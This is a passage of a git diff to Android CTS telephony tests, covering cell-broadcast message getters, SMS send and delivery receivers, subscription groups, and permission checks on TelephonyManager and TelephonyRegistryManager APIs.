+        assertEquals(TEST_BODY, mSmsCbMessage.getMessageBody());
+    }
+
+    @Test
+    public void testGeometries() {
+        assertEquals(TEST_GEOS, mSmsCbMessage.getGeometries());
+    }
+
+    @Test
+    public void testMaxWaitTime() {
+        assertEquals(TEST_MAX_WAIT_TIME, mSmsCbMessage.getMaximumWaitingDuration());
+    }
+
+    @Test
+    public void testReceivedTime() {
+        assertEquals(TEST_RECEIVED_TIME, mSmsCbMessage.getReceivedTime());
+    }
+
+    @Test
+    public void testSlotIndex() {
+        assertEquals(TEST_SLOT, mSmsCbMessage.getSlotIndex());
+    }
+
+    @Test
+    public void testMessagePriority() {
+        assertEquals(TEST_PRIORITY, mSmsCbMessage.getMessagePriority());
+    }
+
+    @Test
+    public void testMessageFormat() {
+        assertEquals(TEST_MESSAGE_FORMAT, mSmsCbMessage.getMessageFormat());
+    }
+
+    @Test
+    public void testEtwsInfo() {
+        assertEquals(TEST_ETWS_INFO, mSmsCbMessage.getEtwsWarningInfo());
+    }
+
+    @Test
+    public void testCmasInfo() {
+        final SmsCbCmasInfo info =
+                new SmsCbCmasInfo(SmsCbCmasInfo.CMAS_CLASS_REQUIRED_MONTHLY_TEST,
+                        SmsCbCmasInfo.CMAS_CATEGORY_OTHER,
+                        SmsCbCmasInfo.CMAS_RESPONSE_TYPE_EVACUATE,
+                        SmsCbCmasInfo.CMAS_SEVERITY_UNKNOWN,
+                        SmsCbCmasInfo.CMAS_URGENCY_EXPECTED, SmsCbCmasInfo.CMAS_CERTAINTY_LIKELY);
+
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY, TEST_PRIORITY,
+                null, info, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(info, mSmsCbMessage.getCmasWarningInfo());
+    }
+
+    @Test
+    public void testEmergency() {
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(true, mSmsCbMessage.isEmergencyMessage());
+
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_NORMAL,
+                TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(false, mSmsCbMessage.isEmergencyMessage());
+    }
+
+    @Test
+    public void testIsEtws() {
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                null, TEST_CMAS_INFO, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(false, mSmsCbMessage.isEtwsMessage());
+
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(true, mSmsCbMessage.isEtwsMessage());
+    }
+
+    @Test
+    public void testIsCmas() {
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(false, mSmsCbMessage.isCmasMessage());
+
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                null, TEST_CMAS_INFO, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(true, mSmsCbMessage.isCmasMessage());
+    }
+
+    @Test
+    public void testNeedGeoFencingCheck() {
+        assertEquals(false, mSmsCbMessage.needGeoFencingCheck());
+
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+                SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+                null, TEST_CMAS_INFO, 100, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+        assertEquals(true, mSmsCbMessage.needGeoFencingCheck());
+    }
+
+    @Test
+    public void testContentValues() {
+        ContentValues cv = mSmsCbMessage.getContentValues();
+        int serial = cv.getAsInteger(Telephony.CellBroadcasts.SERIAL_NUMBER);
+        assertEquals(TEST_SERIAL, serial);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 26358f0..26f6a30 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -16,27 +16,25 @@
 
 package android.telephony.cts;
 
-import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
-import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
-
 import static androidx.test.InstrumentationRegistry.getContext;
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
+import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
 
 import static org.hamcrest.Matchers.anyOf;
 import static org.hamcrest.Matchers.emptyString;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.hamcrest.Matchers.startsWith;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
@@ -57,7 +55,6 @@
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteCallback;
 import android.os.SystemClock;
-import android.provider.Settings;
 import android.provider.Telephony;
 import android.telephony.SmsManager;
 import android.telephony.SmsMessage;
@@ -65,6 +62,10 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -79,10 +80,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
 /**
  * Tests for {@link android.telephony.SmsManager}.
  *
@@ -671,7 +668,13 @@
 
     protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
             ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
-        getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
+        if (mContext.getOpPackageName() != null) {
+            getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+                    deliveryIntents, mContext.getOpPackageName());
+        } else {
+            getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+                    deliveryIntents);
+        }
     }
 
     protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
@@ -684,6 +687,9 @@
 
     private void blockNumber(String number) {
         mBlockedNumberUri = insertBlockedNumber(mContext, number);
+        if (mBlockedNumberUri == null) {
+            fail("Failed to insert into blocked number provider.");
+        }
     }
 
     private void unblockNumber(Uri uri) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
index 4fdadbb..7599f43 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
@@ -20,12 +20,33 @@
 import android.content.Context;
 import android.content.Intent;
 import android.provider.Telephony;
+import android.telephony.SmsMessage;
 
 public class SmsReceiver extends BroadcastReceiver {
     @Override
     public void onReceive(Context context, Intent intent) {
-        if (intent != null && intent.getAction().equals(Telephony.Sms.Intents.SMS_DELIVER_ACTION)) {
-            context.sendBroadcast(new Intent(SmsManagerTest.SMS_DELIVER_DEFAULT_APP_ACTION));
+        if (intent == null) return;
+        switch (intent.getAction()) {
+            case Telephony.Sms.Intents.SMS_DELIVER_ACTION: {
+                // Send broadcast for SmsManagerTest cases
+                context.sendBroadcast(new Intent(SmsManagerTest.SMS_DELIVER_DEFAULT_APP_ACTION));
+                SmsMessage[] messages = Telephony.Sms.Intents.getMessagesFromIntent(intent);
+                if (messages != null && messages[0] != null) {
+                    AsyncSmsMessageListener.getInstance().offerSmsMessage(
+                            messages[0].getMessageBody());
+                }
+                break;
+            }
+            case SmsReceiverHelper.MESSAGE_SENT_ACTION: {
+                intent.putExtra(SmsReceiverHelper.EXTRA_RESULT_CODE, getResultCode());
+                AsyncSmsMessageListener.getInstance().offerMessageSentIntent(intent);
+                break;
+            }
+            case SmsReceiverHelper.MESSAGE_DELIVERED_ACTION: {
+                intent.putExtra(SmsReceiverHelper.EXTRA_RESULT_CODE, getResultCode());
+                AsyncSmsMessageListener.getInstance().offerMessageDeliveredIntent(intent);
+                break;
+            }
         }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
new file mode 100644
index 0000000..a9a934d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+
+public class SmsReceiverHelper {
+
+    public static final String MESSAGE_SENT_ACTION =
+            "android.telephony.cts.SmsReceiverHelper.MESSAGE_SENT_ACTION";
+
+    public static final String MESSAGE_DELIVERED_ACTION =
+            "android.telephony.cts.SmsReceiverHelper.MESSAGE_DELIVERED_ACTION";
+
+    public static final String EXTRA_RESULT_CODE = "resultCode";
+
+    public static PendingIntent getMessageSentPendingIntent(Context context) {
+        Intent intent = new Intent(context, SmsReceiver.class);
+        intent.setAction(MESSAGE_SENT_ACTION);
+        return PendingIntent.getBroadcast(context, 0, intent,
+                PendingIntent.FLAG_CANCEL_CURRENT);
+    }
+
+    public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
+        Intent intent = new Intent(context, SmsReceiver.class);
+        intent.setAction(MESSAGE_DELIVERED_ACTION);
+        return PendingIntent.getBroadcast(context, 0, intent,
+                PendingIntent.FLAG_CANCEL_CURRENT);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 51c1563..bbaa423 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -285,6 +285,23 @@
     }
 
     @Test
+    public void testSetDefaultVoiceSubId() {
+        int oldSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity();
+        try {
+            mSm.setDefaultVoiceSubscriptionId(SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            assertEquals(SubscriptionManager.INVALID_SUBSCRIPTION_ID,
+                    SubscriptionManager.getDefaultVoiceSubscriptionId());
+            mSm.setDefaultVoiceSubscriptionId(oldSubId);
+            assertEquals(oldSubId, SubscriptionManager.getDefaultVoiceSubscriptionId());
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testSubscriptionPlansOverrideUnmetered() throws Exception {
         if (!isSupported()) return;
 
@@ -388,12 +405,12 @@
         }
 
         // Add into subscription group that doesn't exist. This should fail
-        // with IllegalArgumentException.
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
         try {
             ParcelUuid groupUuid = new ParcelUuid(UUID.randomUUID());
             mSm.addSubscriptionsIntoGroup(subGroup, groupUuid);
             fail();
-        } catch (IllegalArgumentException expected) {
+        } catch (SecurityException expected) {
         }
 
         // Remove from subscription group with current sub Id. This should fail
@@ -449,6 +466,32 @@
     }
 
     @Test
+    public void testAddSubscriptionIntoNewGroupWithPermission() throws Exception {
+        if (!isSupported()) return;
+
+        // Set subscription group with current sub Id.
+        List<Integer> subGroup = new ArrayList();
+        subGroup.add(mSubId);
+        ParcelUuid uuid = new ParcelUuid(UUID.randomUUID());
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
+
+        // Getting subscriptions in group.
+        List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
+        assertNotNull(infoList);
+        assertEquals(1, infoList.size());
+        assertEquals(uuid, infoList.get(0).getGroupUuid());
+
+        // Remove from subscription group with current sub Id.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
+
+        infoList = mSm.getSubscriptionsInGroup(uuid);
+        assertNotNull(infoList);
+        assertTrue(infoList.isEmpty());
+    }
+
+    @Test
     public void testSettingOpportunisticSubscription() throws Exception {
         if (!isSupported()) return;
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 75079d9..baf2c81 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -451,6 +451,8 @@
                 (tm) -> tm.getDeviceId(mTelephonyManager.getSlotIndex()));
         mTelephonyManager.getDeviceSoftwareVersion();
         ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getDeviceSoftwareVersion(mTelephonyManager.getSlotIndex()));
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 (tm) -> tm.getImei());
         ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 (tm) -> tm.getImei(mTelephonyManager.getSlotIndex()));
@@ -463,8 +465,11 @@
                 .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
         mTelephonyManager.getVoicemailRingtoneUri(defaultAccount);
         mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
-        mTelephonyManager.getSubIdForPhoneAccountHandle(defaultAccount);
+        mTelephonyManager.getSubscriptionId(defaultAccount);
         mTelephonyManager.getCarrierConfig();
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.isAnyRadioPoweredOn());
+        TelephonyManager.getDefaultRespondViaMessageApplication(getContext(), false);
     }
 
     @Test
@@ -608,12 +613,9 @@
 
         if (sanitizedForFineOnly) return;
 
-        assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaLong()));
-        assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaShort()));
-        assertTrue(TextUtils.isEmpty(state.getDataOperatorNumeric()));
-        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaLong()));
-        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaShort()));
-        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorNumeric()));
+        assertTrue(TextUtils.isEmpty(state.getOperatorAlphaLong()));
+        assertTrue(TextUtils.isEmpty(state.getOperatorAlphaShort()));
+        assertTrue(TextUtils.isEmpty(state.getOperatorNumeric()));
     }
 
     @Test
@@ -686,6 +688,20 @@
     }
 
     /**
+     * Tests the max number of active SIMs method
+     */
+    @Test
+    public void testGetMaxNumberOfSimultaneouslyActiveSims() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+
+        int maxNum = mTelephonyManager.getMaxNumberOfSimultaneouslyActiveSims();
+        assertTrue(maxNum >= 1);
+    }
+
+    /**
      * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
      * if only a WiFi device. At least one of them must be valid.
      */
@@ -1690,8 +1706,9 @@
         assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_SUCCESS);
     }
 
-    private static void assertSetOpportunisticInvalidParameter(int value) {
-        assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_INACTIVE_SUBSCRIPTION);
+    private static void assertSetOpportunisticNoOpportunisticSub(int value) {
+        assertThat(value).isEqualTo(
+                TelephonyManager.SET_OPPORTUNISTIC_SUB_NO_OPPORTUNISTIC_SUB_AVAILABLE);
     }
 
     /**
@@ -1726,18 +1743,17 @@
                 ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
                         (tm) -> tm.getOpportunisticSubscriptions());
         Consumer<Integer> callbackSuccess = TelephonyManagerTest::assertSetOpportunisticSubSuccess;
-        Consumer<Integer> callbackFailure =
-                TelephonyManagerTest::assertSetOpportunisticInvalidParameter;
+        Consumer<Integer> callbackNoOpSub =
+                TelephonyManagerTest::assertSetOpportunisticNoOpportunisticSub;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0) {
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.setPreferredOpportunisticDataSubscription(randomSubId, false,
-                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+                            AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
             // wait for the data change to take effect
             waitForMs(500);
             subId = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                     (tm) -> tm.getPreferredOpportunisticDataSubscription());
             assertThat(subId).isEqualTo(SubscriptionManager.DEFAULT_SUBSCRIPTION_ID);
-
         } else {
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.setPreferredOpportunisticDataSubscription(
@@ -1769,6 +1785,11 @@
         assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
     }
 
+    private static void assertUpdateAvailableNetworkNoOpportunisticSub(int value) {
+        assertThat(value).isEqualTo(
+                TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE);
+    }
+
     private static boolean checkIfEmergencyNumberListHasSpecificAddress(
             List<EmergencyNumber> emergencyNumberList, String address) {
         for (EmergencyNumber emergencyNumber : emergencyNumberList) {
@@ -1829,9 +1850,15 @@
         int randomSubId = 1;
         int activeSubscriptionInfoCount = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mSubscriptionManager, (tm) -> tm.getActiveSubscriptionInfoCount());
+        boolean isOpportunisticNetworkEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isOpportunisticNetworkEnabled());
+
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (!isOpportunisticNetworkEnabled) {
+            return;
+        }
         if (mTelephonyManager.getPhoneCount() == 1) {
             return;
         }
@@ -1849,6 +1876,8 @@
                 TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
         Consumer<Integer> callbackFailure =
                 TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
+        Consumer<Integer> callbackNoOpSub =
+                TelephonyManagerTest::assertUpdateAvailableNetworkNoOpportunisticSub;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
                 || !mSubscriptionManager.isActiveSubscriptionId(
                 subscriptionInfoList.get(0).getSubscriptionId())) {
@@ -1857,7 +1886,7 @@
             availableNetworkInfos.add(availableNetworkInfo);
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
-                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+                            AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
             // wait for the data change to take effect
             waitForMs(500);
             // clear all the operations at the end of test.
@@ -1996,6 +2025,89 @@
         }
     }
 
+    @Test
+    public void testGetCarrierInfoForImsiEncryption() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG);
+            fail("testGetCarrierInfoForImsiEncryption: "
+                    + "SecurityException expected on getCarrierInfoForImsiEncryption");
+        } catch (SecurityException se) {
+            // expected
+        }
+        try {
+            mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN);
+            fail("testGetCarrierInfoForImsiEncryption: "
+                    + "SecurityException expected on getCarrierInfoForImsiEncryption");
+        } catch (SecurityException se) {
+            // expected
+        }
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG));
+        } catch (SecurityException se) {
+            fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+        } catch (IllegalArgumentException iae) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN));
+        } catch (SecurityException se) {
+            fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+        } catch (IllegalArgumentException iae) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+    }
+
+    @Test
+    public void testResetCarrierKeysForImsiEncryption() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.resetCarrierKeysForImsiEncryption();
+            fail("testResetCarrierKeysForImsiEncryption: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.resetCarrierKeysForImsiEncryption());
+        } catch (SecurityException se) {
+            fail("testResetCarrierKeysForImsiEncryption: SecurityException not expected");
+        }
+    }
+
+    @Test
+    public void testIsInEmergencySmsMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.isInEmergencySmsMode();
+            fail("testIsInEmergencySmsMode: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.isInEmergencySmsMode());
+        } catch (SecurityException se) {
+            fail("testIsInEmergencySmsMode: SecurityException not expected");
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
index a6a2c4f..6ce0b6f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
@@ -1,18 +1,33 @@
 package android.telephony.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.content.Context;
-import android.os.telephony.TelephonyRegistryManager;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+import android.telephony.TelephonyRegistryManager;
+import android.text.TextUtils;
+import android.util.Pair;
+
 import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Test TelephonyRegistryManagerTest APIs.
  */
 public class TelephonyRegistryManagerTest {
     private TelephonyRegistryManager mTelephonyRegistryMgr;
+    private static final long TIMEOUT_MILLIS = 1000;
 
     @Before
     public void setUp() throws Exception {
@@ -32,4 +47,32 @@
             /* Expected */
         }
     }
+
+    @Test
+    public void testNotifyCallStateChangedForAllSubscriptions() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+
+        LinkedBlockingQueue<Pair<Integer, String>> queue = new LinkedBlockingQueue<>(1);
+        PhoneStateListener psl = new PhoneStateListener(context.getMainExecutor()) {
+            @Override
+            public void onCallStateChanged(int state, String number) {
+                queue.offer(Pair.create(state, number));
+            }
+        };
+        TelephonyManager tm = context.getSystemService(TelephonyManager.class);
+        tm.listen(psl, PhoneStateListener.LISTEN_CALL_STATE);
+        // clear the initial result from registering the listener.
+        queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+        String dummyNumber = "288124";
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
+                (trm) -> trm.notifyCallStateChangedForAllSubscriptions(
+                        TelephonyManager.CALL_STATE_IDLE, dummyNumber));
+
+        Pair<Integer, String> result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertNotNull("Timed out waiting for phone state change", result);
+        assertEquals(TelephonyManager.CALL_STATE_IDLE, result.first.longValue());
+        // This test doesn't have READ_CALL_LOG, so we expect the second arg to be empty.
+        assertTrue(TextUtils.isEmpty(result.second));
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 008dbaa..2bd8bb8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -26,7 +26,7 @@
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
 
-class TelephonyUtils {
+public class TelephonyUtils {
     private static final String COMMAND_ADD_TEST_EMERGENCY_NUMBER =
             "cmd phone emergency-number-test-mode -a ";
 
@@ -94,7 +94,4 @@
             }
         }
     }
-
-    private TelephonyUtils() {
-    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java
new file mode 100644
index 0000000..ba1a13d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
